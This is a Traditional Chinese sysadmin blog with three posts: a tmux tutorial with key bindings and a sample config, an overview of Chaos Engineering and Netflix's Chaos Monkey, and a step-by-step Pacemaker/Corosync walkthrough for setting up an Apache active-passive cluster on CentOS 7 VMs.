習慣使用 linux terminal 遠端處理 server 工作的人,有時會遇到一個問題,就是在遠端 terminal 處理過程中,有時會遇到一些程式處理很久,或是需要同時查看 log,系統 loading 的狀況,這時,就需要再對同一台機器打開另一個 terminal,導致 terminal 的頁籤越來越多。更麻煩的是有時候遇到網路異常斷線,所有 terminal 的連線中斷了,就必須要重新一個一個再連接 server。


tmux 是一個 terminal multiplexer,可讓使用者以單一terminal,連接多個 terminal sessions或是windows。換句話說,就不需要再連接多個 terminal tab。另外,更重要的功能是,tmux 內建了一個 terminal server,即使 terminal 斷線,只要 tmux server 還存活,任何時候再重連,都可以取回剛剛工作中的 terminal sessions/windows,繼續工作。


安裝


在 centos 安裝 tmux


yum install tmux

在 macos 安裝 tmux


sudo port install tmux

tmux 指令


只要在 terminal 執行 tmux,就會啟動 tmux server,另外還有一些常用的指令


# 啟動新的 terminal session
tmux new -s sessionanme
tmux new -s sessionanme -n windowname

# 列出所有 tmux sessions
tmux ls

# a/at/attach session
tmux at -t sessionname
tmux a #

# kill session
tmux kill-session -t sessioname

# 當 session 內所有shell都結束,該 session 就會中止
exit

進入 tmux 後,terminal 下方就會出現一條綠色的 status bar,很明確的顯示目前正在 tmux 工作 session 中。



tmux 專有名詞的概念


  • tmux server


    啟動 tmux 會產生一個 server,負責管理所有 sessions

  • session


    一個 terminal 可以有多個 sessions,通常一個 project 會使用一個 session。

  • window


    一個 session 可以有多個 window,每一個 window 會佔滿整個 terminal 畫面,可以開多個 window,讓某些 window 在背景運作。

  • pane


    每一個 windows 可切割多個區塊,每一個區塊就是一個 pane。通常會將 window 水平或垂直切割,增加多個 pane。


控制指令


進入 tmux 後,跟平常一樣,會在多個 shell 中切換執行工作,如果需要對 tmux 下指令,要用 Ctrl-b 功能鍵啟動。


因為 Ctrl-b 會有點難按,大部分都會改成其他的 function key,在 ~/.tmux.conf 設定檔中,可增加這些設定,將 Ctrl-b 改為 Ctrl-a


set -g prefix C-a
unbind C-b
bind C-a send-prefix

另外可在設定檔中加上快速鍵,以下設定,可以在 Ctrl-a 後,直接按 | ,就會水平方向增加一個 shell pane。


unbind %
bind | split-window -h
bind - split-window -v

啟用滑鼠,可用滑鼠修改 pane 的大小,捲動視窗


set -g mouse on



  • session 處理的指令
    大部分都是在原本的 terminal 中,不是 tmux 的 function

tmux ls
tmux attach -t 0
tmux kill-session -t 0

Ctrl-a (由 Ctrl-b 改為 Ctrl-a) 後的 fuction


Ctrl-a 後的 function 功能
d detach session
s list session
:new new session
$ 為 session 命名

  • window 指令

Ctrl-a 後的 function 功能
c 產生新 window
& 關閉目前的 window
p 切換到上一個 window
n 切換到下一個 window
w list windows
f find window

  • pane 指令

Ctrl-a 後的 function 功能
% (改為 |) 水平分割新的 pane
" (改為 -) 垂直分割新的 pane
方向鍵 切換到其他 panes
x 關閉目前的 pane
o 交換 pane
空白鍵 切換 layout
q 顯示每個 pane 的編號,再按編號,可切換到該 pane
{ 跟上一個 pane 交換位置
} 跟下一個 pane 交換位置
z 切換 pane 最大/最小化



~/.tmux.conf 設定的內容


set -g default-terminal "screen-256color"
set -g display-time 3000
set -g escape-time 0
set -g history-limit 65535
set -g base-index 1
set -g pane-base-index 1

# Ctrl-b -> Ctrl-a
set -g prefix C-a
unbind C-b
bind C-a send-prefix

# enable mouse
set -g mouse on

# split window
unbind %
bind | split-window -h
bind - split-window -v

# <prefix> or Ctrl- or <prefix> Ctrl-
#   k --- previous pane
# h   l --- previous window / next window
#   j --- next pane

# navigate windows
unbind-key l
bind-key h select-window -t :-
bind-key C-h select-window -t :-
bind-key -n C-h select-window -t :-
bind-key l select-window -t :+
bind-key C-l select-window -t :+
bind-key -n C-l select-window -t :+

# navigate panes
bind-key j select-pane -t :.-
bind-key C-j select-pane -t :.-
bind-key -n C-j select-pane -t :.-
bind-key k select-pane -t :.+
bind-key C-k select-pane -t :.+
bind-key -n C-k select-pane -t :.+

References


終端機 session 管理神器 — tmux


終端機必備的多工良伴:tmux


tmux ,不只是 terminal multiplexer


Tutorial — tmux Basics


tmux cheatsheet


Tmux 快捷鍵 & 速查表


使用 tmux 與 tmuxifier 打造 Console 開發環境(比 screen 更棒)

2018/3/12

Chaos Engineering


Chaos Engineering 是一個在分散式系統中進行實驗測試的準則,透過這樣的方法,可提升系統在正式環境中處理災難性異常的能力,對系統的穩定性更有信心。


大型的分散式系統已經改變了傳統的軟體工程方法,現在的網路服務目標都是以快速彈性的開發方式提供新的服務,對於開發人員來說,面對這樣複雜的服務系統,在將軟體更新到正式環境之前,到底有多大的信心,可以在更新後,不將系統弄壞。


在三十年前,Jim Gray 提出要提高可靠性 availability 的方法,就是使用驗證過的軟體跟硬體,然後就可以不用再管他。但現今對於提供 Internet Service 的公司來說,持續改變,增加新功能的網路服務,不能再用這樣的方法。


Netflix 在 2012/7/20 發佈了 Chaos Monkey 專案,它的作用是可以隨機刪除在正式環境中運作的 VM instance and container,原因是:要避免失敗最好的方法,就是平常就要經常失敗。這有點像是不定時的災難演習,讓工程師跟開發人員,平常就能習慣災難,這樣自然而然就能建造出一個穩定的系統,不會在意外真正發生時,人仰馬翻。


Chaos Monkey 只會在平日週一到週五 9:00~15:00 運作,Netflix 在應付一般的異常狀況,一兩個 VM 斷線並不會導致系統失效,當然如果真的發生問題,也能因為該問題而受惠,因為這樣的問題可以影響系統設計,並解決問題。


隨著這些網路服務大廠針對「正式環境的破壞」實驗越來越熟悉,他們認為這樣的破壞概念,應該要更正式地成為一個新興的服務及產業,也就是 "Chaos Enginerring",簡單地說,Choas Engineering 就是在分散式系統上的實驗工程,用來建立網路服務正式環境的災難處理能力。這些實驗包含硬體故障、客戶端服務量突然暴增、設定參數異常等等,這也是 PRINCIPLES OF CHAOS ENGINEERING 所要說明的內容。


CHAOS IN PRACTICE


Chaos Engineering 就是要簡化系統弱點實驗的程序。實驗要遵循以下四個步驟


  1. 定義"穩定狀態"的系統測量值,用來表示系統是否正常運作的量測數值
  2. 假設該穩定狀態會持續發生在實驗組及對照組
  3. 找出現實世界發生的災難事件,例如 server crash、硬體故障、網路異常等等
  4. 嘗試反證,無法找出實驗組及對照組的"穩定狀態"之間的差異。換句話說,就是嘗試不讓實驗組及對照組的"穩定狀態"之間的量測數據不同。

如果 "穩定狀態" 的數據越穩定,就表示系統讓人更放心。如果有未經測試的弱點,那就有改善的目標。


ADVANCED PRINCIPLES


要運用 Choas Engineering,還要注意以下的使用原則


  1. 面對 Steady State Behavior 提出假設


    要注意系統輸出的可量測數值,而不是系統的內部屬性。可透過 proxy 量測一段時間內的數據,系統的 throughput, error rate, latency percentiles 都是 steady state behavior 可觀察的 metrics。Chaos 可幫助我們證明系統穩定可靠,而不是去了解系統如何運作。

  2. 真實世界的意外事件


    Chaos variables 就是真實世界可能發生的事件,有可能是 server crash,軟體回應異常,網路流量異常上升,任何會影響 "steady state" 的事件,都是 Chaos experiment 的實驗變因。

  3. 在正式環境中進行實驗


    系統的行為會根據運作環境及網路流量而不同,為確保 Chaos experiment 是針對正式環境,強烈建議要用真正正式環境的 traffic 進行實驗。

  4. 自動化持續的實驗


    讓 chaos engineering 自動並持續在正式環境中運作

  5. 限制影響的範圍


    在正式環境實驗有可能會造成某些客戶使用的異常,但這些異常都只會造逞短暫的不便。


Netflix


Netflix 以 SPS: (stream) starts per second 作為量測系統健康狀態的目標,因為他們長久以來的經驗,已經能從 SPS 的統計報表中看出系統是不是有發生異常。


Netflix 使用以下這些實驗項目


  1. 停止 VM instance
  2. 在服務之間的請求中增加 latency
  3. 讓服務之間請求故障
  4. 讓內部服務故障
  5. 讓整個Amazon區域失效

另一個觀測值是每秒新帳號註冊數,電子商務網站可使用每秒完成的購買次數,廣告投放服務可使用每秒瀏覽的廣告數。


References


Chaos Engineering


Chaos工程


Netflix新放出來的開源工具Chaos Monkey

2018/2/5

Pacemaker & Corosync


Pacemaker 作為一個 cluster resource manager,負責處理多個 server node 旗下軟體的生命週期,他是透過 cluster services 監控及復原 node 的狀態,cluster service 提供 messaging 與 membership 管理機制,常見的 cluster service 有 corosync, cman及 heartbeat。


以往在處理cluster service 是用 heartbeat,但在 v3 以後,該專案拆分為多個部分,包含 Cluster Glue、Resource Agents、messaging layer(Heartbeat proper)、Local Resource Manager,以及 Cluster Reource Manager,而pacemaker 就是拆分出來的 resource manager,而新版的 heartbeat 只負責處理各 server node 之間的 messaging。


Pacemaker 主要功能包含


  1. server node 及 service 的故障檢測和恢復
  2. 多樣化的 storage,不需要 shared storage
  3. 多樣化的 resources,任何可以寫成 script 的服務都可以被 clustered
  4. 支援 fencing (STONITH),確保 data integrity
  5. 同時支持多種集群配置模式,規模大或小都可以
  6. 同時支援 quorate 以及 resource-driven 兩種 clusters
  7. 支援多種 redundancy configuration
  8. 自動化 replicated configuration,可由任意一個 node 更新 config
  9. 可指定 cluster-wide service ordering, colocation 及 anti-colocation
  10. 支援進階的 service types: (1) clones: 用在需要在多個 nodes 啟動的 services (2) multi-state: 用在 master/slave, primary/secondary
  11. unified, scriptable cluster management tools

STONITH: Shoot-The-Other-Node-In-The-Head 的縮寫,就是將發生問題的 node 關掉的功能,通常試用 remote power switch 來實現。


在 High-availability cluster: Node Configurations 中提到,最常見的兩個 server node 的 cluster 架構如下



如果架構牽涉到多個 nodes,則有下列的情況


  1. Active/Active


    要導向到 failed node 的 traffic,會轉送到其他 active nodes,這只能用在所有 nodes 都使用相同的 software configuration 的情況

  2. Active/Passive


    每個 node 都完整提供 redundant instance,備援節點只會在 primary node failed 時,切換為 online,這種架構需要增加 hardware


  3. N+1


    提供一個單一的 extra node,會在某個 node failed 時,接手該 node 的工作,切換為 on-line,每個 node 會有不同的 software configuration,該 extra node 要能夠替代其他 nodes 的配置。當 N 為 1,就等同於 Active/Passive 的架構。


  4. N+M


    如果這個 cluster 提供了多個 services,單一個 failover node 不敷使用,這時需要多個 standby nodes

  5. N-to-1


    可讓 failover node 暫時變為 active node,直到原本的 node 已經復原並 on-line,而服務會再切換回原本的 service node。

  6. N-to-N


    合併了 active/active 及 N+M 的概念,當發生 failed node,會將 traffic 導向到其他的 active nodes,不需要 standby node,但需要所有 active nodes 都有接手其他 nodes service 的能力。


  7. split-site


    多個機房的 clustering



note: OpenAIS 是對 Service Availability Forum 的AIS (Application Interface Specification) 的實作,包含了 node 管理, messaging, monitoring 等功能,但沒有 cluster resource manager 的功能,因此需要使用 pacemaker 或 rgmanager 作為 resource manager。Corosync Cluster Engine 就是由 OpenAIS 發展而來的。


Sample: Apache httpd Active-Passive cluster


以 vagrant 準備兩個 VM: web1, web2,再根據
How To Set Up an Apache Active-Passive Cluster Using Pacemaker on CentOS 7 的說明,測試設定 web1 及 web2 為 Apache httpd Active-Passive cluster 架構。


Vagrant.configure("2") do |config|
  config.vm.provision "shell", inline: "echo Hello"

  config.vm.define "web1" do |web1|
    web1.vm.box = "geerlingguy/centos7"
    web1.vm.hostname = "web1"

    web1.vm.network "private_network", ip: "192.168.0.100"
    web1.vm.network "public_network", ip: "192.168.1.24", bridge: "en0: 乙太網路", auto_config: false

    web1.vm.provision "shell",
        run: "always",
        inline: "route add default gw 192.168.1.1"
  end

  config.vm.define "web2" do |web2|
    web2.vm.box = "geerlingguy/centos7"
    web2.vm.hostname = "web2"

    web2.vm.network "private_network", ip: "192.168.0.200"
    web2.vm.network "public_network", ip: "192.168.1.25", bridge: "en0: 乙太網路", auto_config: false

    web2.vm.provision "shell",
        run: "always",
        inline: "route add default gw 192.168.1.1"
  end
end

編輯 /etc/hosts,分別讓兩台機器都能以 hostname 連接到對方


$ vi /etc/hosts

192.168.0.100       web1
192.168.0.200       web2

安裝 apache httpd


yum -y install httpd

修改 status page


$ vi /etc/httpd/conf.d/status.conf

<Location /server-status>
   SetHandler server-status
   Order Deny,Allow
   Deny from all
   Allow from 127.0.0.1
</Location>

分別在兩台機器,製作不同的首頁


$ cat <<-END > /var/www/html/index.html
<html>
<body>hello web1</body>
</html>

END

$ cat <<-END > /var/www/html/index.html
<html>
<body>hello web2</body>
</html>

END



安裝 pacemaker,安裝後會產生新的帳號 hacluster


yum -y install pacemaker pcs

systemctl enable pcsd.service
systemctl start pcsd.service

設定兩台機器相同的 hacluster 密碼


sudo passwd hacluster



設定 pacemaker


檢查 firewall status,如果沒有啟動,就啟動 firewalld


firewall-cmd --state

systemctl start firewalld.service

在 firewalld 新增一個 high-availability service


firewall-cmd --permanent --add-service=high-availability

# reload firewalld
firewall-cmd --reload

同時在兩台機器將 pacemaker 及 corosync 都設定為開機啟動


systemctl enable corosync.service
systemctl enable pacemaker.service

因為這兩台機器已經都安裝且設定了 pacemaker,接下來,我們只需要在其中一台機器設定 authentication


$ pcs cluster auth web1 web2
Username: hacluster
Password:
web2: Authorized
web1: Authorized

產生同步的 corosync 設定


$ sudo pcs cluster setup --name webcluster web1 web2

Destroying cluster on nodes: web1, web2...
web1: Stopping Cluster (pacemaker)...
web2: Stopping Cluster (pacemaker)...
web1: Successfully destroyed cluster
web2: Successfully destroyed cluster

Sending 'pacemaker_remote authkey' to 'web1', 'web2'
web1: successful distribution of the file 'pacemaker_remote authkey'
web2: successful distribution of the file 'pacemaker_remote authkey'
Sending cluster config files to the nodes...
web1: Succeeded
web2: Succeeded

Synchronizing pcsd certificates on nodes web1, web2...
web2: Success
web1: Success
Restarting pcsd on the nodes in order to reload the certificates...
web2: Success
web1: Success

接下來就可以看到,剛剛設定的 webcluster 已經寫入這個設定檔 /etc/corosync/corosync.conf


# more corosync.conf
totem {
    version: 2
    secauth: off
    cluster_name: webcluster
    transport: udpu
}

nodelist {
    node {
        ring0_addr: web1
        nodeid: 1
    }

    node {
        ring0_addr: web2
        nodeid: 2
    }
}

quorum {
    provider: corosync_votequorum
    two_node: 1
}

logging {
    to_logfile: yes
    logfile: /var/log/cluster/corosync.log
    to_syslog: yes
}



啟動 Cluster


pcs cluster start --all

檢查 cluster 狀態


# pcs status
Cluster name: webcluster
WARNING: no stonith devices and stonith-enabled is not false
Stack: unknown
Current DC: NONE
Last updated: Mon Dec 18 07:39:34 2017
Last change: Mon Dec 18 07:39:20 2017 by hacluster via crmd on web2

2 nodes configured
0 resources configured

Node web1: UNCLEAN (offline)
Online: [ web2 ]

No resources


Daemon Status:
  corosync: active/disabled
  pacemaker: active/disabled
  pcsd: active/enabled

Note: 發生 pacemaker node is UNCLEAN (offline) 的問題,這必須要修改 /etc/hosts


分別修改 /etc/hosts 將 127.0.0.1 web1 及 web2,這一行刪除,並重新啟動 corosync


#127.0.0.1  web1    web1

systemctl restart corosync.service

接下來就可以看到 pcs 正常的狀態


# pcs status
Cluster name: webcluster
WARNING: no stonith devices and stonith-enabled is not false
Stack: corosync
Current DC: web1 (version 1.1.16-12.el7_4.5-94ff4df) - partition with quorum
Last updated: Mon Dec 18 07:52:36 2017
Last change: Mon Dec 18 07:45:38 2017 by hacluster via crmd on web2

2 nodes configured
0 resources configured

Online: [ web1 web2 ]

No resources


Daemon Status:
  corosync: active/enabled
  pacemaker: active/enabled
  pcsd: active/enabled



在 pcs status 看到的 STONITH(Shoot-The-Other-Node-In-The-Head) warning,可以將 stonith 關閉解決


pcs property set stonith-enabled=false

在一半以上的 nodes online 時,cluster 會產生 quorum,Pacemaker 預設是在沒有 quorum 時,就會關閉所有 resources,因為現在是以兩台機器進行測試,因此要關閉 quorum 的功能。


pcs property set no-quorum-policy=ignore



設定 Virtual IP


pcs resource create Cluster_VIP ocf:heartbeat:IPaddr2 ip=192.168.1.26 cidr_netmask=24 op monitor interval=20s

查詢 ip addr,可發現目前 web1 有兩個 Public IPs: 192.168.1.24 及 192.168.1.26


# ip addr show

4: enp0s9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 08:00:27:c4:2b:2d brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.24/24 brd 192.168.1.255 scope global enp0s9
       valid_lft forever preferred_lft forever
    inet 192.168.1.26/24 brd 192.168.1.255 scope global secondary enp0s9
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fec4:2b2d/64 scope link
       valid_lft forever preferred_lft forever

# pcs status

.....

Full list of resources:

 Cluster_VIP    (ocf::heartbeat:IPaddr2):   Started web1



將 Apache httpd 加入 cluster resource,resource agent 為 ocf:heartbeat:apache


pcs resource create WebServer ocf:heartbeat:apache configfile=/etc/httpd/conf/httpd.conf statusurl="http://127.0.0.1/server-status" op monitor interval=20s



要確保兩個 resource 運作在同一台機器有兩種方式


  1. 將 ClusterVIP 及 WebServer 綁定為同一個 resource group,並設定 ClusterVIP 啟動順序先於 WebServer

pcs resource group add WebGroup Cluster_VIP
pcs resource group add WebGroup WebServer

pcs constraint order start Cluster_VIP then start WebServer

  1. 設定 colocation constraint

pcs constraint colocation add WebServer Cluster_VIP INFINITY



測試 cluster,首先以 browser 瀏覽 Virtual IP 首頁http://192.168.1.26,畫面上會看到 hello web1


將 web1 關機


vagrant halt web1

Virtual IP 首頁http://192.168.1.26,畫面上會看到 hello web2


將 web1 啟動


vagrant up web1

這時還是維持在 web2,除非再把 web2 關機,服務就會回到 web1




如果希望盡量以 web1 為主,web2 為輔,當 web1 開機時,就使用 web1,必須要增加 location 限制,將 web1 的priority 調高。當 web1 offline 而 web2 online,如果 web1 online 了,網頁服務還是會回到 web1。


pcs constraint location WebServer prefers web1=50
pcs constraint location WebServer prefers web2=45

References


How To Create a High Availability Setup with Corosync, Pacemaker, and Floating IPs on Ubuntu 14.04


將 Heartbeat 換成 Pacemaker+Corosync


High Availability and Pacemaker 101!


Automating Failover with Corosync and Pacemaker


透過 PACEMAKER 來配置 REDHAT 6 HIGH AVAILABILITY ADD-ON


CentOS7 架設 RHCS (High-Availability Server)


Pacemaker + Corosync 做服務 HA


How To Set Up an Apache Active-Passive Cluster Using Pacemaker on CentOS 7


在 CentOS7/RHEL7 上,學習架設 High-Availability 服務(一)


corosync+pacemaker 高可用集群


Centos7之pacemaker高可用安裝配置詳解


Linux 高可用(HA)集群之Pacemaker詳解


高可用centos7 HA:corosync+packmaker+http\mysql


使用 Load Balancer,Corosync,Pacemaker 搭建 Linux 高可用集群


CentOS 7 で DRBD/Pacemaker/Corosync で High Availability NFS


在 CentOS 7 上使用 PaceMaker 構建 NFS HA 服務


Corosync+pacemaker+DRBD+mysql(mariadb)實現高可用(ha)的mysql集群(centos7)